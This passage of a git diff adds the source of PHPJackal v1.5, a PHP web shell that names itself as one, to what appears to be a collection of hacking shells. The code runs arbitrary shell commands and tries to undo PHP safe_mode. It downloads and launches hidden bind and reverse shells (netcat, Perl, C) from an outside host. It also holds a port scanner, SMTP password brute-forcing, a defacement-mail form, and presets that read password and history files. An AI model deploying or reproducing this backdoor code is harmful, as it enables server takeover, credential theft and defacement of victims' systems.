zX?2fY9gd;mVTtA>M`87cN`lj~Ifuz`C9yp;yn|F*>~;PqhIbwBM2fMF8tKcjx2Ggt zAaW#JxD?(JC2*rynLAazu*gz5N|_=%*#qjrb?i;!9OU{OQ+W$5)W6_%GRRg8<iE#! zdi5$O4wEis+37G1=V}tRCeO>4tcJA$%tTFe|4GMF-#%EYC_hK|K9!nX7$K!c3O;eA zA{x!(sQE<5o=nHErOcGNWUF%02gGaT>gY%H1QgI4(P5(yg3}nlQxp6o&H^fZ24YGg zSpW2(#K`^m!(kupwP<PX<mET<%?e~a%KWJ|#;+n@i&RiK9r@B3eNdwQob)x&*lx`l zVnB*<^(qCLJFHuA9FkpFPtVv|7W^pnm68BeDD9E?w4K?dX*ey>1A0r!CvCjUtR=7B z0vUXE?lfm5imA=kHYJICpBx#`)zzg9T8wXkZzzf4<EdU-0}v$1bj&OuxHsBo@llr? z0>U2ZWF2YhX<@Fas?P6I*a@|}B|*-yM_PhqT3SAd^66Zv>iEo4O+i7WrawV=_G<bp zkQOQ)-_WgV(`J99MmwcnyK~-*(X%<Vq7-_J>{(M3+D*_PF((RER2Mlq@JC24d!+XH zuup&WSdU~I($vZ02KzkEWuW7t%566aA!(j9Nvzeufk7`h+`*u8y6zq+9LdF!X<4`^ zF=|&FRVikgyeYB+bL&K%Kg)a^b)U$bkU8rr31TO=PvUF^9CMTeiaDXDEq$F@+>8p^ zIXtoq8}Acm(Xpmst$tvq`Ei{r+4tHus8c-lj?<VKIr;nNz)KwH_P36`a9XKkGkhN+ zx>jDHBrq+C4_%eGO22)WVqv5Dal8%8)z{dAsY<#du@5fU%TxXZpfBs%TK;u%J3oI5 zB9U((=9TYz6w_`tV{u96GGnSuA!*@KoSmI3gP7@EiE9cAfoRy{6CKnc{v@q*eY}2Z z$yDI6f;)US_)BzOVtFPS?+jFMvag1hYl}K9pi7xzUur6T-zP{-aNL*4_{wtUoh79F zg>)!|nvxi4_`F++n|KOHNP&Oy=HuICK0Ms2mu{jwLQMZoUuEIV&xNK4jmHcpnts=8 zVU|p1;DUy&^>3h42OsF42tFyGtB3qi?dC-0j8o-C6t=O&+;hpmnsM=h*jv6-xh&=f zYf$TIYLjF#v9u$=n5cG1zwwe8-ZgI1H!2aHL;W4-IGDm2RQFn{I{M?ZbQi=fzz_Z( z99EX7(U;N;mJsZlY^1$nXrhWD2*aa?;dSdhz2-z5>5#;grT<v=fEOsS%r$y|BdLuD zH&jKptu87Q$Zb%SNxNcF5ytmbYg77@kJM41ETWQbe=o17NF?$NrzwdPjq`Q5Lq5EU z#*{RF@roL#qQr-=4G2@MaW6XV`(EBo(vxK~q}#-Js);#6wo(AyzuYknMdJ@2Njbn# zI@<F;KMTRAS;#On#WHIcNfq<V5kwv)JNC+)y$d=w9GyEnfSn6U5dXR1{|UrZgZ;4E zXP#(@f1<Yj27>)D@@TWCeA{jQ`BQ70Z&&%p7;#>-c*IajN=CKUyZng;91EUwO<GgZ zBJa9x1*Pk_UR|Ytvb)lfJQDF$!O8XrK=)zHz`jhnJSi28IVTjy1Z<yb)1zyDA`FWt z0sqvP1`xzF1e>=W`v#)UJSWl9Irjime&0&{Q|Fh(|GO>?hoODFBm6ANQ`8uTUr^P{ z>nvaJly(7##Z3I(y9VIX`Y5h4%;~9e0b2{c#O+G)Q|AOv{kQNe#MuX3K;@boC8Lk8 z3%38z?zPB?`_+5yuG>bLFvLV_z~zmXBwpJUvDkK)36KQ0y8u{3-j7aMh4e{h6)3{h zb{U}5MNW3oGIt|xPY=^hg#jm;K!vC|;J06w?xEgn29X(C{ctHzg?<PqP4IE-{Iuw+ zhWG&zhIl1@cnmy!nG63`Rw+4)2clUK0Yzs=`rDZ&oJzpS5RU%IPQ!v4-;6@x{!0PR z7f21~nF={dyYY5(-l#Fm9E&y2w?NxT=W1yFzr0*$Rt>h>3u6)a|ItsoM=98m=FcVT zswh6%n4lj;aSF>a1&V$G+cw$DT+Ys-Qh8^_>8b_+;t`#5MU2?&R+)D?-qvR6_1N(k zyh8gLec4{c!ab}a@hlzBC%j9mM_O}}<5J?C+@_WkXJnDGz$bge=i{ul_jz}1oqG<t zaRhvq+(=vvZW~SjweG$g@}cEte(iqPZ)MB2w{h<--sFOh;VTi(4p=}jchuDMC2r5J o4J&!DxjPx>eSo!}DhxZ>YgmvuaEd=YngXT+;4#AneVh1y0EuQ_?EnA( literal 0 HcmV?d00001 diff --git a/php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.php b/php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.php new file mode 100644 index 0000000..37adef6 --- /dev/null +++ b/php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.php @@ -0,0 +1,1413 @@ +<?php +#--Config--# +$login_password= '123456'; // +#----------# +error_reporting(E_ALL); +set_time_limit(0); +ini_set("max_execution_time","0"); +ini_set("memory_limit","9999M"); +set_magic_quotes_runtime(0); +if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS; +if(!isset($_POST))$_POST = &$HTTP_POST_VARS; +if(!isset($_GET))$_GET = &$HTTP_GET_VARS; +if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS; +$_REQUEST = array_merge($_GET, $_POST); +if (get_magic_quotes_gpc()){ +foreach ($_REQUEST as $key=>$value) +{ +$_REQUEST[$key]=stripslashes($value); +} +} +function hlinK($str=""){ +$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF']."?"; +$new=explode("&",$str); +foreach ($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el = explode("=", $m); +if ($el[0]==$key)$add=0; +} +if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; +} +$ret.=$str; +return $ret; +} +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +@header("Location: ".hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>"); +} +if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=@fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=@fsockopen("udp://".$ip,$port); +if($scan){ +socket_set_timeout($scan,$timeout); +@fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if (!function_exists("file_get_contents")){ +function file_get_contents($addr){ +$a = fopen($addr,"r"); +$tmp = fread($a,filesize($a)); +fclose($a); +if($a)return $tmp; +} +} +if (!function_exists("file_put_contents")){ +function file_put_contents($addr,$con){ +$a = fopen($addr,"w"); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +} +function flusheR(){ +flush();@ob_flush(); +} +if (!empty($_REQUEST['downloaD'])){ +@ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header("Content-type: application/octet-stream"); +header("Content-disposition: attachment; filename=\"$dl\";"); +header("Content-length: ".strlen($con)); +echo $con; +exit; +} +if (!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header("Content-type: imagE/gif"); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date("r",filemtime($img))); +echo file_get_contents($img); +exit; +} +@header("Cache-Control: no-cache, must-revalidate"); +@header("Expires: Mon, 7 Aug 1987 05:00:00 GMT"); +function showsizE($size){ +if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; +elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; +elseif ($size>=1024)$size = round(($size/1024),2)." KB"; +else $size .= " B"; +return $size; +} +if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0; +$errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td><b>Error: </b>"; +$et = "</td></tr></table>"; +$v="1.5"; +$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td align=\"center\">"; +$intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td bgcolor=\"#666666\"><b>Script:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href=\"http://netjackal.by.ru\" target=\"_blank\">http://netjackal.by.ru</a><br><b>Email:</b> <a href=\"mailto:nima_501@yahoo.com?subject=PHPJackal\">nima_501@yahoo.com</a><br></font>$et</center>"; +$footer="${msgbox}PHPJackal v$v - Powered By <a href=\"http://netjackal.by.ru\" target=\"_blank\">NetJackal</a>$et"; +$hcwd="<input type=hidden name=workingdiR value=\"".getcwd()."\">"; +$t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">"; +$crack="</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; +function namE(){ +$name=''; +srand((double)microtime()*100000); +for ($i=0;$i<=rand(3,10);$i++){ +$name.=chr(rand(97,122)); +} +return $name; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return "."; +} +function shelL($command){ +global $windows,$disablefunctions; +$exec = '';$output= ''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} +elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } +elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} +elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} +elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} +elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} +elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} +return $exec; +} +function downloadiT($get,$put){ +$fo=@strtolower(ini_get('allow_url_fopen')); +if($fo || $fo=='on')$con=file_get_contents($get); +else{ +$u=parse_url($get); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$url=fsockopen($host, 80, $en, $es, 12); +fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function smtplogiN($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.namE()."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function checksmtP($host,$timeout){ +$from=strtolower(namE())."@".strtolower(namE()).".com"; +$sock=@fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.namE()."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".namE()." ".namE()." <$from>\r\nSubject: ".namE()."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".namE().namE().namE()."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function check_urL($url,$method,$search,$timeout){ +if(empty($search))$search='200'; +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=@fsockopen($host,80,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;} +while(!feof($sock)){ +$res=trim(fgets($sock)); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=@fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=namE().namE(); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). +$com. chr(0xA0). +chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n. +chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C). +chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01). +chr(0x01). chr(0x01). $n. chr(0x05). $n; +$sock=@fsockopen("udp://$ip",161); +socket_set_timeout($sock,$timeout); +@fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +return $res; +} + +$safemode=(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on')?'ON':'OFF'; +if($safemode=="ON"){@ini_restore("safe_mode");@ini_restore("open_basedir");} +$disablefunctions = @ini_get('disable_functions'); +if (!function_exists("str_repeat")){ +function str_repeat($str,$c){ +$r=""; +for($i=0; $i < $cu; $i++)$r.=$str; +return $r; +} +} + +function brshelL(){ +global $errorbox, $windows,$et,$hcwd; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://netjackal.by.ru/backdoor'; +$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; +$n=namE(); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$perl=(!$windows && shelL('which perl'))?$perl=shelL('which perl'):'perl'; +$c=($_REQUEST['C'])?1:0; +if (!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1) ){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.=".exe"; +$bd=downloadiT("$addr/nc.exe",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name = $name.".pl"; +$bd=downloadiT("$addr/winbind.pl",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl.exe $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if (!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.pl",$name); +if (!$bd)echo $error; else shelL("cd $d;$perl $n $port &"); +echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>"; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc.exe",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name = $name.".pl"; +$bd=downloadiT("$addr/winrc.pl",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error; else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.pl",$name); +if(!$bd)echo $error;else shelL("cd $d;$perl $n $ip $port &"); +} +} +echo "<font color=blue>Done!</font>";} +else{echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"50%\" bgcolor=\"#333333\">Bind shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=port value=55501 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input type=submit class=buttons value=Bind></td></tr></form></table></td><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"40%\" bgcolor=\"#333333\">Reverse shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#808080\">IP:</td><td bgcolor=\"#808080\"><input type=text name=ip value=";echo $_SERVER["REMOTE_ADDR"]; echo " size=17></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=rport value=53 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Connect></td></tr></form></table>$et";}} +function showimagE($img){ +echo "<center><img border=0 src=\"".hlinK("imagE=$img&&workingdiR=".getcwd())."\"></center>";} +function editoR($file){ +global $errorbox,$et,$hcwd; +if (is_file($file)){ +if (!is_readable($file)){echo "$errorbox File is not readable$et<br>";} +if (!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";} +$data = file_get_contents($file); +echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\">$hcwd<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">"; +echo htmlspecialchars($data); +echo "</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"$file\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">"; +} +else {echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">"; +} +echo "$hcwd<input type=submit class=buttons name=Save value=Save></td></form></tr></table></center>"; +} +function webshelL(){ +global $windows,$hcwd; +if($windows){ +$alias="<option value=\"netstat -an\">Display open ports</option><option value=\"tasklist\">List of processes</option><option value=\"systeminfo\">System information</option><option value=\"ipconfig /all\">IP configuration</option><option value=\"getmac\">Get MAC address</option><option value=\"net start\">Services list</option><option value=\"net view\">Machines in domain</option><option value=\"net user\">Users list</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">Turn off the server</option>"; +} +else{ +$alias="<option value=\"netstat -an | grep -i listen\">Display open ports</option><option value=\"last -a -n 250 -i\">Show last 250 logged in users</option><option value=\"which wget curl lynx w3m\">Downloaders</option><option value=\"find / -perm -2 -type d -print\">Find world-writable directories</option><option value=\"find . -perm -2 -type d -print\">Find world-writable directories(in current directory)</option><option value=\"find / -perm -2 -type f -print\">Find world-writable files</option><option value=\"find . -perm -2 -type f -print\">Find world-writable files(in current directory)</option><option value=\"find / -type f -perm 04000 -ls\">Find files with SUID bit set</option><option value=\"find / -type f -perm 02000 -ls\">Find files with SGID bit set</option><option value=\"find / -name .htpasswd -type f\">Find .htpasswd files</option><option value=\"find / -type f -name .bash_history\">Find .bash_history files</option><option value=\"cat /etc/syslog.conf\">View syslog.conf</option><option value=\"cat cat /etc/hosts\">View hosts</option><option value=\"ps auxw\">List of processes</option>"; +if(is_dir('/etc/valiases'))$alias.="<option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value=\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value=\"cat /var/cpanel/accounting.log\">Display Cpanel`s log</option>"; +if(is_dir('/var/spool/mail/'))$alias.="<option value=\"ls /var/spool/mail/\">Mailboxes list</option>"; +} +echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td bgcolor=\"#666666\"><textarea rows=\"22\" cols=\"78\">"; +if (!empty($_REQUEST['cmd'])) echo shelL($_REQUEST['cmd']); +echo"</textarea></td></tr><form method=post><tr><td bgcolor=\"#808080\"><input type=text size=91 name=cmd value=\"";if (!empty($_REQUEST['cmd'])) echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows) echo "cat /etc/passwd";echo "\">$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor=\"#808080\"><select name=\"cmd\" width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></table><center>"; +} +function maileR(){ +global $msgbox,$et,$hcwd; +$cwd= getcwd(); +if (!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +if (!mail($to,$subject,$body,"From: $from"))break; +echo "$msgbox<b>Mail sent!</b><br>$et"; +} +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td><b>Mailer:</b></td></tr><td width=\"20%\" bgcolor=\"#666666\">SMTP</td><td bgcolor=\"#666666\">".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\"><input name=from type=text value=\"evil@hell.gov\" size=55>$hcwd</td><tr><td width=\"25%\" bgcolor=\"#666666\">To:</td><td bgcolor=\"#666666\"><input name=to type=text value=\""; if (!empty($_REQUEST['to'])) echo htmlspecialchars($_REQUEST['to']); elseif(!empty($_ENV["SERVER_ADMIN"])) echo $_ENV["SERVER_ADMIN"];else echo "admin@".getenv('HTTP_HOST'); echo "\" size=55></td></tr><tr><td bgcolor=\"#808080\">Subject:</td><td bgcolor=\"#808080\"><input name=subject type=text value=\"YOUR SERVER HAS BEED HACKED :-P\" size=55></td><tr><td bgcolor=\"#666666\">Body:</td><td bgcolor=\"#666666\"><textarea rows=\"18\" cols=\"43\" name=body>Admin, your system has been hacked! if you don`t seCure it, next time i`ll format your box.</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=\"right\"><input type=submit class=buttons value=Send></form>$et"; +} +function scanneR(){ +global $hcwd; +if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; +echo "<font color=blue>Port scanning started against ".htmlspecialchars($target).":<br>"; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if (checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=""; +if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; +echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";} +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +} +elseif (!empty($_REQUEST['securityscanner'])){ +echo "<font color=blue>"; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f = substr($from,strrpos($from,".")+1); +$from = substr($from,0,strrpos($from,".")); +if(!empty($_REQUEST['httpscanner'])){ +echo "Loading webserver bug list..."; +flusheR(); +$buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); +$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without 